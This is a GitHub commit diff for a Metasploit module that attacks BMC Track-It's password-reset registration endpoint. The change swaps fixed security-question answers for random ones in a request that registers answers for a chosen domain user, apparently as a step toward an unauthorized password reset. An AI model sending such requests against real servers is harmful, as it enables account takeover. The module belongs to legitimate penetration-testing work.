Skip to content

Commit 48dcfd9

Browse files
committed
Use random security Q/A
1 parent f208f31 commit 48dcfd9

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/auxiliary/gather/bmc_trackit_passwd_reset.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -116,6 +116,7 @@ def run_host(ip)
116116

117117
full_user = "#{domain}\\#{localuser}"
118118
vprint_status("#{peer}: sending password reset request for #{full_user}")
119+
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
119120
res = send_request_cgi(
120121
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
121122
'method' => 'POST',
@@ -124,14 +125,14 @@ def run_host(ip)
124125
'domainname' => domain,
125126
'userName' => localuser,
126127
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
127-
'userQuestions' => '[{"Id":1,"Answer":"not"},{"Id":2,"Answer":"not"}]',
128+
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
128129
'updatequesChk' => 'false',
129130
'SelectedQuestion' => 1,
130131
'SelectedQuestion' => 2,
131-
'answer' => 'not',
132-
'answer' => 'not',
133-
'confirmanswer' => 'not',
134-
'confirmanswer' => 'not'
132+
'answer' => answers.first,
133+
'answer' => answers.last,
134+
'confirmanswer' => answers.first,
135+
'confirmanswer' => answers.last
135136
}
136137
)
137138

0 commit comments

Comments
 (0)